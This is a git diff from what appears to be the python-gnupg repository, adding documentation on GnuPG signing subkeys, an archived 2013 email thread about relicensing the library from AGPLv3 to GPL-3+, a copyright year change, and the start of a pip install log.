+You will always be able to revoke a subkey (just "gpg __edit +keyid", "key n" and "revkey") when you +have the primary secret key available, even if you lose your secret subkey. +Meaning: you may use a secret subkey at an office location, and it is not +strictly necessary to back it up on a secure location (It's still a good idea, +though). The reason for this is that a revocation is really a signature on the +subkey - and this signature is done with the primary key. Of course, this means +that you can't revoke a subkey when you don't have the primary secret key. +

+

+If you're signing documents, gpg will always try to use a subkey if one +is available, and announce this with a message like "1024-bit DSA key, ID +E5A7F7D6, created 2002-08-22 (main key ID 92082481)" . Verifying such +signatures used to cause a similar message, but at least with gpg 1.2.3 no +indication is given that the signature was made with a subkey. If you want to +use a specific subkey (or the primary key), you have to specify it with the +"keyid!" syntax. I don't remember what happens if more than one +signing subkey is available; I'm sure you can find details on this somewhere in +the gnupg +mailing list archives. +

+

Problems

+

+The above approach has several problems that may lead to you not doing +things like this. These are not just possible problems. These are real, +and will affect you! You have been warned. +

+

+First, distributing secret subkeys this way (one subkey for each +account/machine you use) only makes sense with signing subkeys. You can have +multiple encryption subkeys, but you can't force people sending you encrypted +mail using a specific subkey. Naturally, if you're using encryption for +yourself, you can chose the encryption key to use with the +"keyid!" syntax. The presence of multiple encryption subkeys +is, however, useful if you revoke an older one to replace it with a new one. +

+

+Old PGP versions apparently can't cope with such keys. I didn't verify this +myself, but people on the gnupg-users mailing list said that current PGP +versions (up to 7.x) can not verify signatures from a subkey. With PGP 8 the +situation is a bit more complicated: PGP 8 can verify subkey signatures, but +has still problems with multiple subkeys: a key with a signing subkey that is +newer than the encryption subkey cannot be used for encryption in PGP 8. A key +where the encryption subkey is newer than the signing subkey can be used for +encryption. So, when you create your key, generate it as 'signing only' key +first, then generate all the signing subkeys you need, and in the end generate +the encryption subkey. (Thanks to David Shaw for this info). +

+

+Most keyservers can not handle keys with multiple subkeys. Some of them even +make these keys unusable. This should get better soon, as JHarris has written a +patch for the pks keyserver, and keyservers with other software that handles +this are deployed more widely. The keyservers that can handle multiple subkeys +are summarized as subkeys.pgp.net. +GnuPG 1.2 added code to recover somewhat when a broken key is retrieved - one +of the subkeys is useable (the others can't be used, as the signature binding +the subkey to the primary is lost). +

+

+Besides corrupting keys with multiple subkeys, all of these old keyservers +will also only search keys based on the primary key id - so, automatic key +retrieval on signature verification will not work, too. Yet another +reason to oonly use the subkeys.pgp.net keyservers. +

+

+Finally, keyhandling is not comfortable with such keys - the user interface of +gpg could be better. The following is valid for gpg 1.2.1, some things may be +fixed in newer versions.: +

+ +

Links

+

+Some additional reading that might be interesting: +

+ +

Acknowledgments

+

+Of course, thanks to the gnupg crew for the cool software, and especially to +Werner Koch and David Shaw for replying to my initial questions about this. And +to Jason Harris for fixing pks to accept keys with multiple subkeys, I hope +this patch spreads really fast as soon as it is officially out. +

+

+

+
+
+
+©2002-2004 Adrian von Bidder +- Permission to redistribute and/or modify this document is granted if (i) the +original author (Adrian von Bidder, Switzerland) is acknowledged and (ii) the +document remains freely available for distribution and modification. +
+ + diff --git a/docs/change-license-emails.txt~ b/docs/change-license-emails.txt~ new file mode 100644 index 0000000..c73ff17 --- /dev/null +++ b/docs/change-license-emails.txt~ @@ -0,0 +1,437 @@ +Return-path: +Envelope-to: isis@patternsinthevoid.net +Delivery-date: Thu, 04 Jul 2013 11:38:58 -0600 +Received: from pattern7 by box658.bluehost.com with local-bsmtp (Exim 4.80) + (envelope-from ) + id 1UunUg-0005CD-4Y + for isis@patternsinthevoid.net; Thu, 04 Jul 2013 11:38:58 -0600 +X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on box658.bluehost.com +X-Spam-Level: +X-Spam-Status: No, score=0.0 required=7.0 tests=AWL,BAYES_00,RDNS_NONE, + T_MIME_NO_TEXT,UNPARSEABLE_RELAY shortcircuit=no autolearn=no version=3.3.1 +Received: from [204.13.164.192] (port=50585 helo=boum.org) + by box658.bluehost.com with esmtps (TLSv1:CAMELLIA256-SHA:256) + (Exim 4.80) + (envelope-from ) + id 1UunUf-0005B2-OL + for isis@patternsinthevoid.net; Thu, 04 Jul 2013 11:38:57 -0600 +Received: from localhost (unknown [10.36.27.20]) + by boum.org (Postfix) with ESMTP id C051A44543 + for ; Thu, 4 Jul 2013 19:38:55 +0200 (CEST) +Received: from boum.org ([10.36.27.29]) + by localhost (censure.boum.org [10.36.27.20]) (amavisd-new, port 10024) + with ESMTP id EzLEA-Rb12Hz for ; + Thu, 4 Jul 2013 19:38:55 +0200 (CEST) +Received: from [127.0.0.1] (localhost [127.0.0.1]) + with ESMTPSA id D9A8F4447E +Received: from localhost (localhost [127.0.0.1]) + by localhost (Postfix) with ESMTP id 75BE2721E69 + for ; Thu, 4 Jul 2013 19:38:46 +0200 (CEST) +Message-Id: <85ehbep6mx.fsf@boum.org> +From: intrigeri +To: Isis! +Subject: AGPL library, really? +Date: Thu, 04 Jul 2013 19:38:46 +0200 +MIME-Version: 1.0 +Content-Type: multipart/encrypted; boundary="=-=-="; + protocol="application/pgp-encrypted" +X-Identified-User: {3202:box658.bluehost.com:pattern7:patternsinthevoid.net} {sentby:spamassassin for local delivery to identified user} + +--=-=-= +Content-Type: application/pgp-encrypted + +Version: 1 + +--=-=-= +Content-Type: application/octet-stream + +-----BEGIN PGP MESSAGE----- +Version: GnuPG v1.4.12 (GNU/Linux) + +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 +fMT2Dws+/n9Y2YQ= +=jcmz +-----END PGP MESSAGE----- +--=-=-=-- +Content-Type: text/plain + +Hi, + +I see on https://pypi.python.org/pypi/gnupg that you released this +library under AGPLv3. Is this correct? + +If it is, then you might be interested to have a look to this long +ongoing thread on debian-devel mailing-list where I've seen explained +(by people I trust on this topic) that AGPLv3 is really not well +suited for libraries -- to start with, quite some of its terms are +ambiguous when one tries to apply them to a library: +https://lists.debian.org/debian-devel/2013/07/msg00031.html + +Cheers, +-- + intrigeri + | GnuPG key @ https://gaffer.ptitcanardnoir.org/intrigeri/intrigeri.asc + | OTR fingerprint @ https://gaffer.ptitcanardnoir.org/intrigeri/otr.asc +Content-Type: text/plain + +Hi isis, + +isis agora lovecruft wrote (07 Jul 2013 04:20:13 GMT) : +> I think this message better describes why AGPL is bad for libraries: +> https://lists.debian.org/debian-devel/2013/07/msg00041.html +> or, at least, I understood that one better than the first. + +TBH, I've pointed you at the beginning of the thread because I was too +lazy to go fetch the best email in there. I'm glad it helps anyway. + +> Do you know if it is okay for me to re-license it as regular GPL? + +I've just re-read a bit to confirm, and my conclusion is that: yeah, +as the sole copyright holder (is this the case?) you can freely +re-licence to whatever you want. + +> Do you have any advice on which of GPLv(2|3)(\+)* that I should use? + +I usually do GPL-3+, but I would not be able to defend it seriously +against v2 or v2+. + +> Thanks for pointing this out so quickly before it caused trouble, by the +> way. :) + +Np. + +Cheers! +-- + intrigeri + | GnuPG key @ https://gaffer.ptitcanardnoir.org/intrigeri/intrigeri.asc + | OTR fingerprint @ https://gaffer.ptitcanardnoir.org/intrigeri/otr.asc +Content-Type: text/plain + +Hi isis, + +> Is it okay to credit you and/or publicly point to these emails as +> the basis for the rationale for the switch? + +Feel free to credit me if you wish, but I certainly don't feel it's +necessary. + +I feel a bit lazy to read this thread again to check if it's fine to +publish stuff from there, so if you don't mind, I'd rather skip this +part ;) + +Cheers, +-- + intrigeri + | GnuPG key @ https://gaffer.ptitcanardnoir.org/intrigeri/intrigeri.asc + | OTR fingerprint @ https://gaffer.ptitcanardnoir.org/intrigeri/otr.asc +Content-Type: multipart/mixed; boundary="LwW0XdcUbUexiWVK" +Content-Disposition: inline + + +--LwW0XdcUbUexiWVK +Content-Type: text/plain; charset=utf-8 +Content-Disposition: inline +Content-Transfer-Encoding: quoted-printable + +intrigeri transcribed 2.3K bytes: +> I see on https://pypi.python.org/pypi/gnupg that you released this +> library under AGPLv3. Is this correct? + +Yes, that it correct. + +> If it is, then you might be interested to have a look to this long +> ongoing thread on debian-devel mailing-list where I've seen explained +> (by people I trust on this topic) that AGPLv3 is really not well +> suited for libraries -- to start with, quite some of its terms are +> ambiguous when one tries to apply them to a library: +> https://lists.debian.org/debian-devel/2013/07/msg00031.html + +Okay, thanks! + +/me reads=E2=80=A6 + +I think this message better describes why AGPL is bad for libraries: +https://lists.debian.org/debian-devel/2013/07/msg00041.html +or, at least, I understood that one better than the first. + +I certainly do not want to make problems for Debian, and now that a bunch of +Tor, LEAP, CryptoParty, and Freebox projects, and perhaps soon Pip too, will +be depending on this, I *really* don't want to make anyone else's license h= +ell +worse. + +Attached is an email from leap@lists.riseup.net where we had fisticuffs over +licensing opinions, wherein I explained my preference for AGPL for +everything. Essentially, I do not want people/corporations/etc. to use my w= +ork +in a closed source application and then potentially make changes to patch +found vulnerabilities without contributing those patches back to the main +codebase. + +Though, you're correct, this doesn't make sense for a library, as a +closed-source web-service frontend to this Python module likely isn't going= + to +get anyone exploited except the person running the service. So it doesn't m= +ake +as much sense. + +Do you know if it is okay for me to re-license it as regular GPL? + +Do you have any advice on which of GPLv(2|3)(\+)* that I should use? + +Thanks for pointing this out so quickly before it caused trouble, by the +way. :) + +--=20 + =E2=99=A5=E2=92=B6 isis agora lovecruft +_________________________________________________________ +GPG: 4096R/A3ADB67A2CDB8B35 +Current Keys: https://blog.patternsinthevoid.net/isis.txt + +--LwW0XdcUbUexiWVK +Content-Type: text/plain; charset=utf-8 +Content-Disposition: attachment; filename=to-intrigeri +Content-Transfer-Encoding: quoted-printable + +=46rom leap-owner@lists.riseup.net Tue May 28 04:14:29 2013 +Date: Tue, 28 May 2013 04:13:56 +0000 +=46rom: isis agora lovecruft +To: micah +Cc: Tomas Touceda , leap@lists.riseup.net +Message-ID: <20130528041356.GL14793@patternsinthevoid.net> +Reply-To: isis@patternsinthevoid.net +References: <51914DF8.2020507@riseup.net> + <51A38709.5050408@riseup.net> + <87a9ng74wn.fsf@muck.riseup.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=3Dutf-8; x-action=3Dpgp-signed +Content-Transfer-Encoding: 8bit +In-Reply-To: <87a9ng74wn.fsf@muck.riseup.net> +X-GPG-Public-Key-URL: https://blog.patternsinthevoid.net/isis.txt +X-Louis-Lingg: In this hope do I say to you I despise you. I despise your + order, your laws, your force-propped authority. Hang me for it! +X-Virus-Scanned: clamav-milter 0.97.8 at willet +X-Virus-Status: Clean +Subject: Re: [leap] license +X-Loop: leap@lists.riseup.net +X-Sequence: 404 +Errors-to: leap-owner@lists.riseup.net +Precedence: list +Precedence: bulk +X-no-archive: yes +List-Id: +List-Help: +List-Subscribe: +List-Unsubscribe: +List-Post: +List-Owner: +List-Archive: + +-----BEGIN PGP SIGNED MESSAGE----- +Hash: SHA512 + +micah transcribed 1.3K bytes: +> Tomas Touceda writes: +>=20 +> > On 05/13/2013 05:32 PM, elijah wrote: +> >> if you have any wisdom or opinions regarding the ever joyful and +> >> uncontroversial topic of free software licenses, then please deposit +> >> said wisdom or opinions in this wiki: +> >>=20 +> >> https://we.riseup.net/leap/license +> >>=20 +> >> in a nutshell, we need to decide on a license for the client. +> >>=20 +> > +> > Does anybody have license knowledge a priori? Or should I get started +> > reading licenses? +>=20 +> I'm supposed to have a more than zero knowledge of what constitutes free +> licenses due to my debian training, and debian is world-renknowned for +> having a particularly nasty debian-legal mailing list where licenses are +> chewed up and spit out... but I personally hate the topic and tend to +> avoid it as much as possible. +>=20 +> So basically my opinons are:=20 +>=20 +> 1. no license that is incompatible with the DFSG[0] (debian free +> software guidelines) - it seems like we are probably in agreement about +> this? +>=20 + +ACK + +> 2. BSD multi-claused licenses and MIT are confusing and annoying, so I +> tend to think they should be avoided due to this +>=20 + +ACK + +> 3. openssl derived works require granting an exception with GPL licenses +> (an exception is trivial), so I prefer gnutls code where possible +>=20 + +ACK + +> 4. it seems weird to make things AGPL that aren't webapps +>=20 + +I started release everything I could AGPLv3 three years ago, after a +conversation with some other activist free-software devs: + + Me: "I want a license which says 'If you are part of any governing body= + or + corporation which contracts to any private or public military entity, t= +hen + you should go fuck youself. And no, you cannot use my software -- I will + sue your pants off.'" + + Them: "Isis, that is silly, and even na=C3=AFve. Universities are libra= +ries are + often 'part of governing bodies', you don't want to exclude them, do yo= +u? + And also, you're like not going to see the blobs your code is included + in...it will get privately installed on custom military and law + enforcement hardware, and when they're done with it it'll go and rot + outside on a base or in a police confiscation parking lot somewhere." + + Me: "Hum. I hate talking about licenses anyway." + + Them: "Yeah, it sucks. But it's important for us to take this seriously, + because the tools we're working on have the potential for helping us + better organise at protests, as well as better help the cops kettle us + into paddy wagons." [one of the tools was a crisis mapping thing] + + Different one of them: "Perhaps you both should read AGPL, and see if t= +hat + helps. I don't think using law against them is going to work, because we + can't assume they will play by the rules, but if we're arguing licenses + anyway..." + +AGPL also seems useful when it seems possible that shady closed-source +startups are going to add a fancier UI or other feature to your code, and t= +hen +market it. This is especially worrying, not because they are "stealing user= +s", +but because it's never clear if vulns discovered in your own code have been +fixed in theirs and vice versa. Or, it could get used in way that is +dangerous, or that it wasn't meant for. (For example, there is currently a +concern that a certain shell company is going to use OONI's code on these +little android-system-on-a-USB dongly thingies...and there are certain dang= +ers +with Tor on Android that these people either don't understand or have no +intention of warning users about.) + +Anyway. There is my argument for AGPL. + +Though I also hate these discussions, don't care about laws, think reformism +is bunk, WTFPL is the only sane LICENSE, and all that jazz, so I'm going to= + go +stand over there ----------------------------------------------------------= +-> +and watch everybody else duke it out. :) + +<(A)3 +isis agora lovecruft + +- --=20 +GPG: 4096R/A3ADB67A2CDB8B35 +Current Keys: https://blog.patternsinthevoid.net/isis.txt +-----BEGIN PGP SIGNATURE----- + +iQJuBAEBCgBYBQJRpC8DBYMB4TOASxSAAAAAABoAKGlzaXNAcGF0dGVybnNpbnRo +ZXZvaWQubmV0MEE2QTU4QTE0QjU5NDZBQkRFMThFMjA3QTNBREI2N0EyQ0RCOEIz +NQAKCRCjrbZ6LNuLNVkVD/9NVDCeFvMbAeGSCbXt/gMlyZ/OJfQcS2WwuegaRR8B +BtfujOIKEA/D9zywCTJYpk9gVQo1TqG7EiTdG25FU9cVnlf4/E0Dp/6vKS4q4T9j +Bba+lxMjoZ0ivC+nVIf2pQS1YK0PtiGZDLj4cVh5UuYcSZA0kxCh4KamqrEq/WdE +iYyd1WWvNFDYaWhsB5+DlqRi7PNs7IF7mxegGOpkqVR31NrFu9WxThFpiFKmT7m+ +cEHzdGmVfa8iz2yTDrh8D01rw54GHIam8OdLp/SuyBsaaSD6UZsYXEc8L6ePR8Xa +QkO/n9PZAo2vm5Ph+ASIOKwRX5DdiiTawJ7sBb9/e0QIwsiQ0Q9nrB7Qbbv053ko +S7Bqu37hZiCjO2aPDCAF2r4UMGJw1Qy/FJme3TYEav1qL61sOYKCVwhfF2/IWzA+ +kO8+4Ei4AKcoLkc6cQUDrQBgwRqEd9qzDSL5/JLJOW7Gkc5rBAADVJcPbFKuMpPr +evqdtjFXdej3KsrqdvnNRA6Q8t1XDv2CUxoK8/YK3CzPa8GbqjwS5J1pIDgA2tl9 +RRYoPgfgXcYf3sQJSJUoPGUOQAqduu0WeLJFHi/kXRqzQf4nGFCUg/mi6lsGswcF +pBguGmO8deoRi59ddhek2Pgpi9hUE2cjasAgZb1B54XmjYYkDqe+owfvWDOKXOZa +AQ=3D=3D +=3DUxwA +-----END PGP SIGNATURE----- + +--LwW0XdcUbUexiWVK-- +Content-Type: text/plain; charset=utf-8 +Content-Disposition: inline +Content-Transfer-Encoding: quoted-printable + +intrigeri transcribed 2.6K bytes: +> isis agora lovecruft wrote (07 Jul 2013 04:20:13 GMT) : +> > Do you know if it is okay for me to re-license it as regular GPL? +>=20 +> I've just re-read a bit to confirm, and my conclusion is that: yeah, +> as the sole copyright holder (is this the case?) you can freely +> re-licence to whatever you want. + +Hey intrigeri, + +I've decided to relicence with your recommendation of GPL3+. Is it okay to +credit you and/or publicly point to these emails as the basis for the +rationale for the switch? + +--=20 + =E2=99=A5=E2=92=B6 isis agora lovecruft +_________________________________________________________ +GPG: 4096R/A3ADB67A2CDB8B35 +Current Keys: https://blog.patternsinthevoid.net/isis.txt +Content-Type: text/plain; charset=utf-8 +Content-Disposition: inline +Content-Transfer-Encoding: quoted-printable + +intrigeri transcribed 2.6K bytes: +> isis agora lovecruft wrote (07 Jul 2013 04:20:13 GMT) : +> > Do you know if it is okay for me to re-license it as regular GPL? +>=20 +> I've just re-read a bit to confirm, and my conclusion is that: yeah, +> as the sole copyright holder (is this the case?) you can freely +> re-licence to whatever you want. + +Hey intrigeri, + +I've decided to relicence with your recommendation of GPL3+. Is it okay to +credit you and/or publicly point to these emails as the basis for the +rationale for the switch? + +--=20 + =E2=99=A5=E2=92=B6 isis agora lovecruft +_________________________________________________________ +GPG: 4096R/A3ADB67A2CDB8B35 +Current Keys: https://blog.patternsinthevoid.net/isis.txt diff --git a/docs/conf.py b/docs/conf.py index 4986e0b..0bb50b3 100644 --- a/docs/conf.py +++ b/docs/conf.py @@ -54,7 +54,7 @@ master_doc = 'index' # General information about the project. project = u'gnupg' -copyright = u'2013, Isis Agora Lovecruft' +copyright = u'2013-2014, Isis Agora Lovecruft' # The version info for the project you're documenting, acts as replacement for # |version| and |release|, also used in various other places throughout the diff --git a/docs/pip-install.log b/docs/pip-install.log new file mode 100644 index 0000000..b8541d2 --- /dev/null +++ b/docs/pip-install.log @@ -0,0 +1,5008 @@ +Downloading/unpacking sphinxcontrib-fulltoc + + Getting page https://pypi.python.org/simple/sphinxcontrib-fulltoc/ + + URLs to search for versions for sphinxcontrib-fulltoc: + + * https://pypi.python.org/simple/sphinxcontrib-fulltoc/ + + Analyzing links from page https://pypi.python.org/simple/sphinxcontrib-fulltoc/ + + Found link https://pypi.python.org/packages/source/s/sphinxcontrib-fulltoc/sphinxcontrib-fulltoc-1.0.tar.gz#md5=729a9da6d8cabfc0c4cdf732d2d6e021 (from https://pypi.python.org/simple/sphinxcontrib-fulltoc/), version: 1.0 + + Skipping link http://sphinx.pocoo.org (from https://pypi.python.org/simple/sphinxcontrib-fulltoc/); not a file + + Skipping link http://sphinxcontrib-fulltoc.readthedocs.org (from https://pypi.python.org/simple/sphinxcontrib-fulltoc/); not a file + + Downloading sphinxcontrib-fulltoc-1.0.tar.gz + + Downloading from URL https://pypi.python.org/packages/source/s/sphinxcontrib-fulltoc/sphinxcontrib-fulltoc-1.0.tar.gz#md5=729a9da6d8cabfc0c4cdf732d2d6e021 (from https://pypi.python.org/simple/sphinxcontrib-fulltoc/) + + Running setup.py egg_info for package sphinxcontrib-fulltoc + + Downloading http://pypi.python.org/packages/source/d/distribute/distribute-0.6.10.tar.gz + + Extracting in /tmp/tmpuoayxm + + Now working in /tmp/tmpuoayxm/distribute-0.6.10 + + Building a Distribute egg in /home/isis/.virtualenvs/python-gnupg/build/sphinxcontrib-fulltoc + + /home/isis/.virtualenvs/python-gnupg/build/sphinxcontrib-fulltoc/distribute-0.6.10-py2.7.egg + + running egg_info + + creating pip-egg-info/sphinxcontrib_fulltoc.egg-info + + writing requirements to pip-egg-info/sphinxcontrib_fulltoc.egg-info/requires.txt + + writing pip-egg-info/sphinxcontrib_fulltoc.egg-info/PKG-INFO + + writing namespace_packages to pip-egg-info/sphinxcontrib_fulltoc.egg-info/namespace_packages.txt + + writing top-level names to pip-egg-info/sphinxcontrib_fulltoc.egg-info/top_level.txt + + writing dependency_links to pip-egg-info/sphinxcontrib_fulltoc.egg-info/dependency_links.txt + + writing manifest file 'pip-egg-info/sphinxcontrib_fulltoc.egg-info/SOURCES.txt' + + warning: manifest_maker: standard file '-c' not found + + + + reading manifest file 'pip-egg-info/sphinxcontrib_fulltoc.egg-info/SOURCES.txt' + + reading manifest template 'MANIFEST.in' + + writing manifest file 'pip-egg-info/sphinxcontrib_fulltoc.egg-info/SOURCES.txt' + + Source in /home/isis/.virtualenvs/python-gnupg/build/sphinxcontrib-fulltoc has version 1.0, which satisfies requirement sphinxcontrib-fulltoc + +Downloading/unpacking Sphinx>=0.6 (from sphinxcontrib-fulltoc) + + Getting page https://pypi.python.org/simple/Sphinx/ + + URLs to search for versions for Sphinx>=0.6 (from sphinxcontrib-fulltoc): + + * https://pypi.python.org/simple/Sphinx/ + + Analyzing links from page https://pypi.python.org/simple/Sphinx/ + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.1.61611-py2.4.egg#md5=75a92f44d07307212bb8cc202b67d649 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.1.61798-py2.4.egg#md5=ad6311e637912afd315be2833b2e69f3 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.1.61843-py2.4.egg#md5=bd516211c5b5dabc002af66a5815af49 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.1.61945-py2.4.egg#md5=07a09e91c8db83764964ad3592fc1637 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.1.61950-py2.4.egg#md5=349c59f4f815e97067f7eb0137d9ad36 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.2-py2.4.egg#md5=8ac6338e4361bdde100ae11974f3299a (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.3-py2.4.egg#md5=c49c04553445e1aaa01219b0f5a92dd8 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.4-py2.4.egg#md5=106a11fe6539dc1cd2246442ce208e91 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.4.1-py2.4.egg#md5=3ed6e7a69a992427d090175f12f8cad0 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.4.2-py2.4.egg#md5=5705b30e6e7f72988eaab91d99575ec2 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.4.3-py2.4.egg#md5=bd8bc15701c86f49b70861f514f430bc (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.5-py2.4.egg#md5=1bed30adc42b8b22d82c87be354f9016 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.5.1-py2.4.egg#md5=c9618937bd0e59013075415bf374d55b (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.5.2-py2.4.egg#md5=be03fd445499b2c52235232f6408d15a (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.5.2b1-py2.4.egg#md5=0dcc31232215b247e5a0c6b64ea5d076 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.6-py2.4.egg#md5=96a121ee9fddb4d86417cc329e5770e6 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.6.1-py2.4.egg#md5=8b5d93be6d4f76e1c3d8c3197f84526f (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.6.2-py2.4.egg#md5=86a524cc49128315b0f51337690e9406 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.6.3-py2.4.egg#md5=4a1a2499e55f73937a1e28313135dda0 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.6.4-py2.4.egg#md5=3576185a22631454fc303cdf6a9e1cc9 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.6.5-py2.4.egg#md5=a3128d88b4426daeb069e74bcec3476a (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.6.6-py2.4.egg#md5=eb1c7dac25c5502a486e29159eb17d71 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.6.7-py2.4.egg#md5=1a1de68fa04879c6df051bd0376af32d (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.6b1-py2.4.egg#md5=da658fcefcbcbbf28c1933e6ed2e08f5 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-1.0-py2.4.egg#md5=3eb52d3e43c79fc526701a68f737a15d (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-1.0.1-py2.4.egg#md5=c2d457595a405d42dcd67522b6959bd6 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg + + Skipping link 